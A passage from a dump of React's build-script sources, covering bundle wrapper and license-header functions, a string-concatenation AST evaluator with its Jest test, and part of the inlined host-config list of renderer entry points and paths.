*****************/\n  [NODE_PROD](source, globalName, filename, moduleType) {\n    return source;\n  },\n\n  /***************** NODE_PROFILING *****************/\n  [NODE_PROFILING](source, globalName, filename, moduleType) {\n    return source;\n  },\n\n  /****************** FB_WWW_DEV ******************/\n  [FB_WWW_DEV](source, globalName, filename, moduleType) {\n    return `'use strict';\n\nif (__DEV__) {\n  (function() {\n${source}\n  })();\n}`;\n  },\n\n  /****************** FB_WWW_PROD ******************/\n  [FB_WWW_PROD](source, globalName, filename, moduleType) {\n    return source;\n  },\n\n  /****************** FB_WWW_PROFILING ******************/\n  [FB_WWW_PROFILING](source, globalName, filename, moduleType) {\n    return source;\n  },\n\n  /****************** RN_OSS_DEV ******************/\n  [RN_OSS_DEV](source, globalName, filename, moduleType) {\n    return `'use strict';\n\nif (__DEV__) {\n  (function() {\n${source}\n  })();\n}`;\n  },\n\n  /****************** RN_OSS_PROD ******************/\n  [RN_OSS_PROD](source, globalName, filename, moduleType) {\n    return source;\n  },\n\n  /****************** RN_OSS_PROFILING ******************/\n  [RN_OSS_PROFILING](source, globalName, filename, moduleType) {\n    return source;\n  },\n\n  /****************** RN_FB_DEV ******************/\n  [RN_FB_DEV](source, globalName, filename, moduleType) {\n    return `'use strict';\n\nif (__DEV__) {\n  (function() {\n${source}\n  })();\n}`;\n  },\n\n  /****************** RN_FB_PROD ******************/\n  [RN_FB_PROD](source, globalName, filename, moduleType) {\n    return source;\n  },\n\n  /****************** RN_FB_PROFILING ******************/\n  [RN_FB_PROFILING](source, globalName, filename, moduleType) {\n    return source;\n  },\n};\n\nconst reconcilerWrappers = {\n  /***************** NODE_DEV (reconciler only) *****************/\n  [NODE_DEV](source, globalName, filename, moduleType) {\n    return `'use strict';\n\nif (process.env.NODE_ENV !== \"production\") {\n  module.exports = function $$$reconciler($$$config) {\n    var exports = {};\n${source}\n    return exports;\n  };\n  module.exports.default = module.exports;\n  Object.defineProperty(module.exports, \"__esModule\", { value: true });\n}\n`;\n  },\n\n  /***************** NODE_PROD (reconciler only) *****************/\n  [NODE_PROD](source, globalName, filename, moduleType) {\n    return `module.exports = function $$$reconciler($$$config) {\n\n    var exports = {};\n${source}\n    return exports;\n};\nmodule.exports.default = module.exports;\nObject.defineProperty(module.exports, \"__esModule\", { value: true });\n`;\n  },\n\n  /***************** NODE_PROFILING (reconciler only) *****************/\n  [NODE_PROFILING](source, globalName, filename, moduleType) {\n    return `module.exports = function $$$reconciler($$$config) {\n    var exports = {};\n${source}\n    return exports;\n};\nmodule.exports.default = module.exports;\nObject.defineProperty(module.exports, \"__esModule\", { value: true });\n`;\n  },\n\n  /***************** FB_WWW_DEV (reconciler only) *****************/\n  [FB_WWW_DEV](source, globalName, filename, moduleType) {\n    return `'use strict';\n\nif (__DEV__) {\n  module.exports = function $$$reconciler($$$config) {\n    var exports = {};\n${source}\n    return exports;\n  };\n  module.exports.default = module.exports;\n  Object.defineProperty(module.exports, \"__esModule\", { value: true });\n}\n`;\n  },\n\n  /***************** FB_WWW_PROD (reconciler only) *****************/\n  [FB_WWW_PROD](source, globalName, filename, moduleType) {\n    return `module.exports = function $$$reconciler($$$config) {\n\n      var exports = {};\n  ${source}\n      return exports;\n  };\n  module.exports.default = module.exports;\n  Object.defineProperty(module.exports, \"__esModule\", { value: true });\n  `;\n  },\n\n  /***************** FB_WWW_PROFILING (reconciler only) *****************/\n  [FB_WWW_PROFILING](source, globalName, filename, moduleType) {\n    return `module.exports = function $$$reconciler($$$config) {\n      var exports = {};\n  ${source}\n      return exports;\n  };\n  module.exports.default = module.exports;\n  Object.defineProperty(module.exports, \"__esModule\", { value: true });\n  `;\n  },\n\n  /***************** CJS_DTS *****************/\n  [CJS_DTS](source, globalName, filename, moduleType) {\n    return source;\n  },\n\n  /***************** ESM_DTS *****************/\n  [ESM_DTS](source, globalName, filename, moduleType) {\n    return source;\n  },\n};\n\nconst licenseHeaderWrappers = {\n  /***************** NODE_ES2015 *****************/\n  [NODE_ES2015](source, globalName, filename, moduleType) {\n    return `/**\n * @license React\n * ${filename}\n *\n${license}\n */\n\n${source}`;\n  },\n\n  /***************** ESM_DEV *****************/\n  [ESM_DEV](source, globalName, filename, moduleType) {\n    return `/**\n* @license React\n * ${filename}\n *\n${license}\n */\n\n${source}`;\n  },\n\n  /***************** ESM_PROD *****************/\n  [ESM_PROD](source, globalName, filename, moduleType) {\n    return `/**\n* @license React\n * ${filename}\n *\n${license}\n */\n\n${source}`;\n  },\n\n  /***************** BUN_DEV *****************/\n  [BUN_DEV](source, globalName, filename, moduleType) {\n    return `/**\n* @license React\n * ${filename}\n *\n${license}\n */\n\n${source}`;\n  },\n\n  /***************** BUN_PROD *****************/\n  [BUN_PROD](source, globalName, filename, moduleType) {\n    return `/**\n * @license React\n * ${filename}\n *\n${license}\n */\n\n${source}`;\n  },\n\n  /***************** NODE_DEV *****************/\n  [NODE_DEV](source, globalName, filename, moduleType) {\n    return `/**\n * @license React\n * ${filename}\n *\n${license}\n */\n\n${source}`;\n  },\n\n  /***************** NODE_PROD *****************/\n  [NODE_PROD](source, globalName, filename, moduleType) {\n    return `/**\n * @license React\n * ${filename}\n *\n${license}\n */\n\n${source}`;\n  },\n\n  /***************** NODE_PROFILING *****************/\n  [NODE_PROFILING](source, globalName, filename, moduleType) {\n    return `/**\n * @license React\n * ${filename}\n *\n${license}\n */\n\n${source}`;\n  },\n\n  /****************** FB_WWW_DEV ******************/\n  [FB_WWW_DEV](source, globalName, filename, moduleType) {\n    return `/**\n${license}\n *\n * @noflow\n * @nolint\n * @preventMunge\n * @preserve-invariant-messages\n */\n\n${source}`;\n  },\n\n  /****************** FB_WWW_PROD ******************/\n  [FB_WWW_PROD](source, globalName, filename, moduleType) {\n    return `/**\n${license}\n *\n * @noflow\n * @nolint\n * @preventMunge\n * @preserve-invariant-messages\n */\n\n${source}`;\n  },\n\n  /****************** FB_WWW_PROFILING ******************/\n  [FB_WWW_PROFILING](source, globalName, filename, moduleType) {\n    return `/**\n${license}\n *\n * @noflow\n * @nolint\n * @preventMunge\n * @preserve-invariant-messages\n */\n\n${source}`;\n  },\n\n  /****************** RN_OSS_DEV ******************/\n  [RN_OSS_DEV](source, globalName, filename, moduleType) {\n    return `/**\n${license}\n *\n * @noflow\n * @nolint\n * @preventMunge\n */\n\n${source}`;\n  },\n\n  /****************** RN_OSS_PROD ******************/\n  [RN_OSS_PROD](source, globalName, filename, moduleType) {\n    return `/**\n${license}\n *\n * @noflow\n * @nolint\n * @preventMunge\n */\n\n${source}`;\n  },\n\n  /****************** RN_OSS_PROFILING ******************/\n  [RN_OSS_PROFILING](source, globalName, filename, moduleType) {\n    return `/**\n${license}\n *\n * @noflow\n * @nolint\n * @preventMunge\n */\n\n${source}`;\n  },\n\n  /****************** RN_FB_DEV ******************/\n  [RN_FB_DEV](source, globalName, filename, moduleType) {\n    return `/**\n${license}\n *\n * @noflow\n * @nolint\n * @preventMunge\n */\n\n${source}`;\n  },\n\n  /****************** RN_FB_PROD ******************/\n  [RN_FB_PROD](source, globalName, filename, moduleType) {\n    return `/**\n${license}\n *\n * @noflow\n * @nolint\n * @preventMunge\n */\n\n${source}`;\n  },\n\n  /****************** RN_FB_PROFILING ******************/\n  [RN_FB_PROFILING](source, globalName, filename, moduleType) {\n    return `/**\n${license}\n *\n * @noflow\n * @nolint\n * @preventMunge\n */\n\n${source}`;\n  },\n\n  /***************** CJS_DTS *****************/\n  [CJS_DTS](source, globalName, filename, moduleType) {\n    return `/**\n * @license React\n * ${filename}\n *\n${license}\n */\n\n${source}`;\n  },\n\n  /***************** ESM_DTS *****************/\n  [ESM_DTS](source, globalName, filename, moduleType) {\n    return `/**\n * @license React\n * ${filename}\n *\n${license}\n */\n\n${source}`;\n  },\n};\n\nfunction wrapWithTopLevelDefinitions(\n  source,\n  bundleType,\n  globalName,\n  filename,\n  moduleType,\n  wrapWithModuleBoundaries\n) {\n  if (wrapWithModuleBoundaries) {\n    switch (bundleType) {\n      case NODE_DEV:\n      case NODE_PROFILING:\n      case FB_WWW_DEV:\n      case FB_WWW_PROFILING:\n      case RN_OSS_DEV:\n      case RN_OSS_PROFILING:\n      case RN_FB_DEV:\n      case RN_FB_PROFILING:\n        // Remove the 'use strict' directive from source.\n        // The module start wrapper will add its own.\n        // This directive is only meaningful when it is the first statement in a file or function.\n        source = source.replace(USE_STRICT_HEADER_REGEX, '');\n\n        // Certain DEV and Profiling bundles should self-register their own module boundaries with DevTools.\n        // This allows the Timeline to de-emphasize (dim) internal stack frames.\n        source = wrapWithRegisterInternalModule(source);\n        break;\n    }\n  }\n\n  if (bundleType === BROWSER_SCRIPT) {\n    // Bundles of type BROWSER_SCRIPT get sent straight to the browser without\n    // additional processing. So we should exclude any extra wrapper comments.\n    return source;\n  }\n\n  if (moduleType === RECONCILER) {\n    // Standalone reconciler is only used by third-party renderers.\n    // It is handled separately.\n    const wrapper = reconcilerWrappers[bundleType];\n    if (typeof wrapper !== 'function') {\n      throw new Error(\n        `Unsupported build type for the reconciler package: ${bundleType}.`\n      );\n    }\n\n    return wrapper(source, globalName, filename, moduleType);\n  }\n\n  // All the other packages.\n  const wrapper = topLevelDefinitionWrappers[bundleType];\n  if (typeof wrapper !== 'function') {\n    throw new Error(`Unsupported build type: ${bundleType}.`);\n  }\n\n  return wrapper(source, globalName, filename, moduleType);\n}\n\nfunction wrapWithLicenseHeader(\n  source,\n  bundleType,\n  globalName,\n  filename,\n  moduleType\n) {\n  if (bundleType === BROWSER_SCRIPT) {\n    // Bundles of type BROWSER_SCRIPT get sent straight to the browser without\n    // additional processing. So we should exclude any extra wrapper comments.\n    return source;\n  }\n\n  // All the other packages.\n  const wrapper = licenseHeaderWrappers[bundleType];\n  if (typeof wrapper !== 'function') {\n    throw new Error(`Unsupported build type: ${bundleType}.`);\n  }\n\n  return wrapper(source, globalName, filename, moduleType);\n}\n\nmodule.exports = {\n  wrapWithTopLevelDefinitions,\n  wrapWithLicenseHeader,\n};\n"
  },
  {
    "path": "scripts/shared/__tests__/evalToString-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n'use strict';\n\nconst {evalStringConcat} = require('../evalToString');\nconst parser = require('@babel/parser');\n\nconst parse = source => parser.parse(`(${source});`).program.body[0].expression; // quick way to get an exp node\n\nconst parseAndEval = source => evalStringConcat(parse(source));\n\ndescribe('evalToString', () => {\n  it('should support StringLiteral', () => {\n    expect(parseAndEval(`'foobar'`)).toBe('foobar');\n    expect(parseAndEval(`'yowassup'`)).toBe('yowassup');\n  });\n\n  it('should support string concat (`+`)', () => {\n    expect(parseAndEval(`'foo ' + 'bar'`)).toBe('foo bar');\n  });\n\n  it('should throw when it finds other types', () => {\n    expect(() => parseAndEval(`'foo ' + true`)).toThrowError(\n      /Unsupported type/\n    );\n    expect(() => parseAndEval(`'foo ' + 3`)).toThrowError(/Unsupported type/);\n    expect(() => parseAndEval(`'foo ' + null`)).toThrowError(\n      /Unsupported type/\n    );\n    expect(() => parseAndEval(`'foo ' + undefined`)).toThrowError(\n      /Unsupported type/\n    );\n  });\n});\n"
  },
  {
    "path": "scripts/shared/evalToString.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n'use strict';\n\nfunction evalStringConcat(ast) {\n  switch (ast.type) {\n    case 'StringLiteral':\n    case 'Literal': // ESLint\n      return ast.value;\n    case 'BinaryExpression': // `+`\n      if (ast.operator !== '+') {\n        throw new Error('Unsupported binary operator ' + ast.operator);\n      }\n      return evalStringConcat(ast.left) + evalStringConcat(ast.right);\n    default:\n      throw new Error('Unsupported type ' + ast.type);\n  }\n}\nexports.evalStringConcat = evalStringConcat;\n\nfunction evalStringAndTemplateConcat(ast, args) {\n  switch (ast.type) {\n    case 'StringLiteral':\n      return ast.value;\n    case 'BinaryExpression': // `+`\n      if (ast.operator !== '+') {\n        throw new Error('Unsupported binary operator ' + ast.operator);\n      }\n      return (\n        evalStringAndTemplateConcat(ast.left, args) +\n        evalStringAndTemplateConcat(ast.right, args)\n      );\n    case 'TemplateLiteral': {\n      let elements = [];\n      for (let i = 0; i < ast.quasis.length; i++) {\n        const elementNode = ast.quasis[i];\n        if (elementNode.type !== 'TemplateElement') {\n          throw new Error('Unsupported type ' + ast.type);\n        }\n        elements.push(elementNode.value.cooked);\n      }\n      args.push(...ast.expressions);\n      return elements.join('%s');\n    }\n    default:\n      // Anything that's not a string is interpreted as an argument.\n      args.push(ast);\n      return '%s';\n  }\n}\nexports.evalStringAndTemplateConcat = evalStringAndTemplateConcat;\n"
  },
  {
    "path": "scripts/shared/inlinedHostConfigs.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n'use strict';\n\nmodule.exports = [\n  {\n    shortName: 'dom-browser',\n    entryPoints: [\n      'react-dom',\n      'react-dom/client',\n      'react-dom/profiling',\n      'react-dom/unstable_testing',\n      'react-dom/src/server/react-dom-server.browser.js',\n      'react-dom/static.browser',\n      'react-dom/unstable_server-external-runtime',\n      'react-server-dom-webpack/src/client/react-flight-dom-client.browser',\n      'react-server-dom-webpack/src/server/react-flight-dom-server.browser',\n    ],\n    paths: [\n      'react-dom',\n      'react-dom/src/ReactDOMReactServer.js',\n      'react-dom-bindings',\n      'react-dom/client',\n      'react-dom/profiling',\n      'react-dom/server.browser',\n      'react-dom/static.browser',\n      'react-dom/unstable_testing',\n      'react-dom/src/server/react-dom-server.browser',\n      'react-dom/src/server/ReactDOMFizzServerBrowser.js', // react-dom/server.browser\n      'react-dom/src/server/ReactDOMFizzStaticBrowser.js',\n      'react-dom-bindings/src/server/ReactDOMFlightServerHostDispatcher.js',\n      'react-dom-bindings/src/server/ReactFlightServerConfigDOM.js',\n      'react-dom-bindings/src/shared/ReactFlightClientConfigDOM.js',\n      'react-server-dom-webpack',\n      'react-server-dom-webpack/client',\n      'react-server-dom-webpack/client.browser',\n      'react-server-dom-webpack/server.browser',\n      'react-server-dom-webpack/static.browser',\n      'react-server-dom-webpack/src/client/ReactFlightDOMClientBrowser.js', // react-server-dom-webpack/client.browser\n      'react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js',\n      'react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpackBrowser.js',\n      'react-server-dom-webpack/src/client/react-flight-dom-client.browser',\n      'react-server-dom-webpack/src/server/react-flight-dom-server.browser',\n      'react-server-dom-webpack/src/server/ReactFlightDOMServerBrowser.js', // react-server-dom-webpack/src/server/react-flight-dom-server.browser\n      'react-devtools',\n      'react-devtools-core',\n      'react-devtools-shell',\n      'react-devtools-shared',\n      'shared/ReactDOMSharedInternals',\n      'react-server/src/ReactFlightServerConfigDebugNoop.js',\n    ],\n    isFlowTyped: true,\n    isServerSupported: true,\n  },\n  {\n    shortName: 'dom-node',\n    entryPoints: [\n      'react-dom/src/ReactDOMReactServer.js',\n      'react-dom/src/server/react-dom-server.node.js',\n      'react-dom/test-utils',\n      'react-dom/unstable_server-external-runtime',\n      'react-server-dom-webpack/src/client/react-flight-dom-client.node',\n      'react-server-dom-webpack/src/server/react-flight-dom-server.node',\n    ],\n    paths: [\n      'react-dom',\n      'react-dom/src/ReactDOMReactServer.js',\n      'react-dom-bindings',\n      'react-dom/client',\n      'react-dom/profiling',\n      'react-dom/server',\n      'react-dom/server.node',\n      'react-dom/static',\n      'react-dom/static.node',\n      'react-dom/test-utils',\n      'react-dom/src/server/react-dom-server.node',\n      'react-dom/src/server/ReactDOMFizzServerNode.js', // react-dom/server.node\n      'react-dom/src/server/ReactDOMFizzStaticNode.js',\n      'react-dom-bindings/src/server/ReactDOMFlightServerHostDispatcher.js',\n      'react-dom-bindings/src/server/ReactFlightServerConfigDOM.js',\n      'react-dom-bindings/src/shared/ReactFlightClientConfigDOM.js',\n      'react-server-dom-webpack',\n      'react-server-dom-webpack/server',\n      'react-server-dom-webpack/static',\n      'react-server-dom-webpack/src/client/ReactFlightDOMClientEdge.js', // react-server-dom-webpack/client.node\n      'react-server-dom-webpack/src/client/ReactFlightDOMClientNode.js', // react-server-dom-webpack/client.node\n      'react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js',\n      'react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpackServer.js',\n      'react-server-dom-webpack/src/server/ReactFlightDOMServerNode.js', // react-server-dom-webpack/src/server/react-flight-dom-server.node\n      'react-devtools-shared',\n      'shared/ReactDOMSharedInternals',\n      'react-server/src/ReactFlightServerConfigDebugNode.js',\n    ],\n    isFlowTyped: true,\n    isServerSupported: true,\n  },\n  {\n    shortName: 'dom-node-webpack',\n    entryPoints: [\n      'react-server-dom-webpack/src/client/react-flight-dom-client.node',\n      'react-server-dom-webpack/src/server/react-flight-dom-server.node',\n    ],\n    paths: [\n      'react-dom',\n      'react-dom-bindings',\n      'react-dom/client',\n      'react-dom/profiling',\n      'react-dom/server',\n      'react-dom/server.node',\n      'react-dom/static',\n      'react-dom/static.node',\n      'react-dom/src/server/react-dom-server.node',\n      'react-dom/src/server/ReactDOMFizzServerNode.js', // react-dom/server.node\n      'react-dom/src/server/ReactDOMFizzStaticNode.js',\n      'react-dom-bindings/src/server/ReactDOMFlightServerHostDispatcher.js',\n      'react-dom-bindings/src/server/ReactFlightServerConfigDOM.js',\n      'react-dom-bindings/src/shared/ReactFlightClientConfigDOM.js',\n      'react-server-dom-webpack',\n      'react-server-dom-webpack/client.node',\n      'react-server-dom-webpack/server',\n      'react-server-dom-webpack/server.node',\n      'react-server-dom-webpack/static',\n      'react-server-dom-webpack/static.node',\n      'react-server-dom-webpack/src/client/ReactFlightDOMClientEdge.js', // react-server-dom-webpack/client.node\n      'react-server-dom-webpack/src/client/ReactFlightDOMClientNode.js', // react-server-dom-webpack/client.node\n      'react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js',\n      'react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpackServer.js',\n      'react-server-dom-webpack/src/client/react-flight-dom-client.node',\n      'react-server-dom-webpack/src/server/react-flight-dom-server.node',\n      'react-server-dom-webpack/src/server/ReactFlightDOMServerNode.js', // react-server-dom-webpack/src/server/react-flight-dom-server.node\n      'react-server-dom-webpack/node-register',\n      'react-server-dom-webpack/src/ReactFlightWebpackNodeRegister.js',\n      'react-devtools',\n      'react-devtools-core',\n      'react-devtools-shell',\n      'react-devtools-shared',\n      'shared/ReactDOMSharedInternals',\n      'react-server/src/ReactFlightServerConfigDebugNode.js',\n    ],\n    isFlowTyped: true,\n    isServerSupported: true,\n  },\n  {\n    shortName: 'dom-node-turbopack',\n    entryPoints: [\n      'react-server-dom-turbopack/src/client/react-flight-dom-client.node',\n      'react-server-dom-turbopack/src/server/react-flight-dom-server.node',\n    ],\n    paths: [\n      'react-dom',\n      'react-dom-bindings',\n      'react-dom/client',\n      'react-dom/profiling',\n      'react-dom/server',\n      'react-dom/server.node',\n      'react-dom/static',\n      'react-dom/static.node',\n      'react-dom/src/server/react-dom-server.node',\n      'react-dom/src/server/ReactDOMFizzServerNode.js', // react-dom/server.node\n      'react-dom/src/server/ReactDOMFizzStaticNode.js',\n      'react-dom-bindings/src/server/ReactDOMFlightServerHostDispatcher.js',\n      'react-dom-bindings/src/server/ReactFlightServerConfigDOM.js',\n      'react-dom-bindings/src/shared/ReactFlightClientConfigDOM.js',\n      'react-server-dom-turbopack',\n      'react-server-dom-turbopack/client.node',\n      'react-server-dom-turbopack/server',\n      'react-server-dom-turbopack/server.node',\n      'react-server-dom-turbopack/static',\n      'react-server-dom-turbopack/static.node',\n      'react-server-dom-turbopack/src/client/ReactFlightDOMClientEdge.js', // react-server-dom-turbopack/client.node\n      'react-server-dom-turbopack/src/client/ReactFlightDOMClientNode.js', // react-server-dom-turbopack/client.node\n      'react-server-dom-turbopack/src/client/ReactFlightClientConfigBundlerTurbopack.js',\n      'react-server-dom-turbopack/src/client/ReactFlightClientConfigBundlerTurbopackServer.js',\n      'react-server-dom-turbopack/src/client/react-flight-dom-client.node',\n      'react-server-dom-turbopack/src/server/react-flight-dom-server.node',\n      'react-server-dom-turbopack/src/server/ReactFlightDOMServerNode.js', // react-server-dom-turbopack/src/server/react-flight-dom-server.node\n      'react-server-dom-turbopack/node-register',\n      'react-server-dom-turbopack/src/ReactFlightTurbopackNodeRegister.js',\n      'react-devtools',\n      'react-devtools-core',\n      'react-devtools-shell',\n      'react-devtools-shared',\n      'shared/ReactDOMSharedInternals',\n      'react-server/src/ReactFlightServerConfigDebugNode.js',\n    ],\n    isFlowTyped: true,\n    isServerSupported: true,\n  },\n  {\n    shortName: 'dom-node-parcel',\n    entryPoints: [\n      'react-server-dom-parcel/src/client/react-flight-dom-client.node',\n      'react-server-dom-parcel/src/server/react-flight-dom-server.node',\n    ],\n    paths: [\n      'react-dom',\n      'react-dom-bindings',\n      'react-dom/client',\n      'react-dom/profiling',\n      'react-dom/server',\n      'react-dom/server.node',\n      'react-dom/static',\n      'react-dom/static.node',\n      'react-dom/src/server/react-dom-server.node',\n      'react-dom/src/server/ReactDOMFizzServerNode.js', // react-dom/server.node\n      'react-dom/src/server/ReactDOMFizzStaticNode.js',\n      'react-dom-bindings/src/server/ReactDOMFlightServerHostDispatcher.js',\n      'react-dom-bindings/src/server/ReactFlightServerConfigDOM.js',\n      'react-dom-bindings/src/shared/ReactFlightClientConfigDOM.js',\n      'react-server-dom-parcel',\n      'react-server-dom-parcel/client.node',\n      'react-server-dom-parcel/server',\n      'react-server-dom-parcel/server.node',\n      'react-server-dom-parcel/static',\n      'react-server-dom-parcel/static.node',\n      'react-server-dom-parcel/src/client/ReactFlightDOMClientEdge.js', // react-server-dom-parcel/client.node\n      'react-server-dom-parcel/src/client/ReactFlightDOMClientNode.js', // react-server-dom-parcel/client.node\n      'react-server-dom-parcel/src/client/ReactFlightClientConfigBundlerParcel.js',\n      'react-server-dom-parcel/src/client/react-flight-dom-client.node',\n      'react-server-dom-parcel/src/server/react-flight-dom-server.node',\n      'react-server-dom-parcel/src/server/ReactFlightDOMServerNode.js', // react-server-dom-parcel/src/server/react-flight-dom-server.node\n      'react-devtools',\n      'react-devtools-core',\n      'react-devtools-shell',\n      'react-devtools-shared',\n      'shared/ReactDOMSharedInternals',\n      'react-server/src/ReactFlightServerConfigDebugNode.js',\n    ],\n    isFlowTyped: true,\n    isServerSupported: true,\n  },\n  {\n    shortName: 'dom-node-unbundled',\n    entryPoints: [\n      'react-server-dom-unbundled/src/client/react-flight-dom-client.node',\n      'react-server-dom-unbundled/src/server/react-flight-dom-server.node',\n    ],\n    paths: [\n      'react-dom',\n      'react-dom-bindings',\n      'react-dom/client',\n      'react-dom/profiling',\n      'react-dom/server',\n      'react-dom/server.node',\n      'react-dom/static',\n      'react-dom/static.node',\n      'react-dom/src/server/react-dom-server.node',\n      'react-dom/src/server/ReactDOMFizzServerNode.js', // react-dom/server.node\n      'react-dom/src/server/ReactDOMFizzStaticNode.js',\n      'react-dom-bindings/src/server/ReactDOMFlightServerHostDispatcher.js',\n      'react-dom-bindings/src/server/ReactFlightServerConfigDOM.js',\n      'react-dom-bindings/src/shared/ReactFlightClientConfigDOM.js',\n      'react-server-dom-unbundled',\n      'react-server-dom-unbundled/client',\n      'react-server-dom-unbundled/server',\n      'react-server-dom-unbundled/server.node',\n      'react-server-dom-unbundled/static',\n      'react-server-dom-unbundled/static.node',\n      'react-server-dom-unbundled/src/client/ReactFlightDOMClientEdge.js', // react-server-dom-unbundled/client.node\n      'react-server-dom-unbundled/src/client/ReactFlightDOMClientNode.js', // react-server-dom-unbundled/client.node\n      'react-server-dom-unbundled/src/client/ReactFlightClientConfigBundlerNode.js',\n      'react-server-dom-unbundled/src/client/react-flight-dom-client.node',\n      'react-server-dom-unbundled/src/server/react-flight-dom-server.node',\n      'react-server-dom-unbundled/src/server/ReactFlightDOMServerNode.js', // react-server-dom-unbundled/src/server/react-flight-dom-server.node\n      'react-devtools',\n      'react-devtools-core',\n      'react-devtools-shell',\n      'react-devtools-shared',\n      'shared/ReactDOMSharedInternals',\n      'react-server/src/ReactFlightServerConfigDebugNode.js',\n    ],\n    isFlowTyped: true,\n    isServerSupported: true,\n  },\n  {\n    shortName: 'dom-bun',\n    entryPoints: ['react-dom/src/server/react-dom-server.bun.js'],\n    paths: [\n      'react-dom',\n      'react-dom/client',\n      'react-dom/profiling',\n      'react-dom/server.bun',\n      'react-dom/src/server/react-dom-server.bun',\n      'react-dom/src/server/ReactDOMFizzServerBun.js',\n      'react-dom/src/server/ReactDOMFizzServerNode.js',\n      'react-dom/src/server/ReactDOMFizzStaticNode.js',\n      'react-dom-bindings',\n      'react-dom-bindings/src/server/ReactDOMFlightServerHostDispatcher.js',\n      'react-dom-bindings/src/server/ReactFlightServerConfigDOM.js',\n      'react-dom-bindings/src/shared/ReactFlightClientConfigDOM.js',\n      'shared/ReactDOMSharedInternals',\n      'react-server/src/ReactFlightServerConfigDebugNoop.js',\n    ],\n    isFlowTyped: true,\n    isServerSupported: true,\n  },\n  {\n    shortName: 'dom-browser-esm',\n    entryPoints: ['react-server-dom-esm/client.browser'],\n    paths: [\n      'react-dom',\n      'react-dom/src/ReactDOMReactServer.js',\n      'react-dom/client',\n      'react-dom/profiling',\n      'react-dom/server',\n      'react-dom/server.node',\n      'react-dom-bindings',\n      'react-dom-bindings/src/server/ReactDOMFlightServerHostDispatcher.js',\n      'react-dom-bindings/src/server/ReactFlightServerConfigDOM.js',\n      'react-dom-bindings/src/shared/ReactFlightClientConfigDOM.js',\n      'react-server-dom-esm',\n      'react-server-dom-esm/client',\n      'react-server-dom-esm/client.browser',\n      'react-server-dom-esm/src/client/ReactFlightDOMClientBrowser.js', // react-server-dom-esm/client.browser\n      'react-devtools',\n      'react-devtools-core',\n      'react-devtools-shell',\n      'react-devtools-shared',\n      'shared/ReactDOMSharedInternals',\n      'react-server/src/ReactFlightServerConfigDebugNoop.js',\n    ],\n    isFlowTyped: true,\n    isServerSupported: true,\n  },\n  {\n    shortName: 'dom-browser-turbopack',\n    entryPoints: [\n      'react-server-dom-turbopack/src/client/react-flight-dom-client.browser',\n      'react-server-dom-turbopack/src/server/react-flight-dom-server.browser',\n    ],\n    paths: [\n      'react-dom',\n      'react-dom/client',\n      'react-dom/profiling',\n      'react-dom/server',\n      'react-dom/server.node',\n      'react-dom-bindings',\n      'react-dom-bindings/src/server/ReactDOMFlightServerHostDispatcher.js',\n      'react-dom-bindings/src/server/ReactFlightServerConfigDOM.js',\n      'react-dom-bindings/src/shared/ReactFlightClientConfigDOM.js',\n      'react-server-dom-turbopack',\n      'react-server-dom-turbopack/client',\n      'react-server-dom-turbopack/client.browser',\n      'react-server-dom-turbopack/server.browser',\n      'react-server-dom-turbopack/static.browser',\n      'react-server-dom-turbopack/src/client/ReactFlightDOMClientBrowser.js', // react-server-dom-turbopack/client.browser\n      'react-server-dom-turbopack/src/client/ReactFlightClientConfigBundlerTurbopack.js',\n      'react-server-dom-turbopack/src/client/ReactFlightClientConfigBundlerTurbopackBrowser.js',\n      'react-server-dom-turbopack/src/client/react-flight-dom-client.browser',\n      'react-server-dom-turbopack/src/server/react-flight-dom-server.browser',\n      'react-server-dom-turbopack/src/server/ReactFlightDOMServerBrowser.js', // react-server-dom-turbopack/src/server/react-flight-dom-server.browser\n      'react-devtools',\n      'react-devtools-core',\n      'react-devtools-shell',\n      'react-devtools-shared',\n      'shared/ReactDOMSharedInternals',\n      'react-server/src/ReactFlightServerConfigDebugNoop.js',\n    ],\n    isFlowTyped: true,\n    isServerSupported: true,\n  },\n  {\n    shortName: 'dom-browser-parcel',\n    entryPoints: [\n      'react-server-dom-parcel/src/client/react-flight-dom-client.browser',\n      'react-server-dom-parcel/src/server/react-flight-dom-server.browser',\n    ],\n    paths: [\n      'react-dom',\n      'react-dom/client',\n      'react-dom/profiling',\n      'react-dom/server',\n      'react-dom/server.node',\n      'react-dom-bindings',\n      'react-dom-bindings/src/server/ReactDOMFlightServerHostDispatcher.js',\n      'react-dom-bindings/src/server/ReactFlightServerConfigDOM.js',\n      'react-dom-bindings/src/shared/ReactFlightClientConfigDOM.js',\n      'react-server-dom-parcel',\n      'react-server-dom-parcel/client',\n      'react-server-dom-parcel/client.browser',\n      'react-server-dom-parcel/server.browser',\n      'react-server-dom-parcel/static.browser',\n      'react-server-dom-parcel/src/client/ReactFlightDOMClientBrowser.js', // react-server-dom-parcel/client.browser\n      'react-server-dom-parcel/src/client/ReactFlightClientConfigBundlerParcel.js',\n      'react-server-dom-parcel/src/client/react-flight-dom-client.browser',\n      'react-server-dom-parcel/src/server/react-flight-dom-server.browser',\n      'react-server-dom-parcel/src/server/ReactFlightDOMServerBrowser.js', // react-server-dom-parcel/src/server/react-flight-dom-server.browser\n      'react-devtools',\n      'react-devtools-core',\n      'react-devtools-shell',\n      'react-devtools-shared',\n      'shared/ReactDOMSharedInternals',\n      'react-server/src/ReactFlightServerConfigDebugNoop.js',\n    ],\n    isFlowTyped: true,\n    isServerSupported: true,\n  },\n  {\n    shortName: 'dom-edge-webpack',\n    entryPoints: [\n      'react-dom/src/server/react-dom-server.edge.js',\n      'react-dom/static.edge',\n      'react-server-dom-webpack/src/client/react-flight-dom-client.edge',\n      'react-server-dom-webpack/src/server/react-flight-dom-server.edge',\n    ],\n    paths: [\n      'react-dom',\n      'react-dom/src/ReactDOMReactServer.js',\n      'react-dom-bindings',\n      'react-dom/client',\n      'react-dom/profiling',\n      'react-dom/server.edge',\n      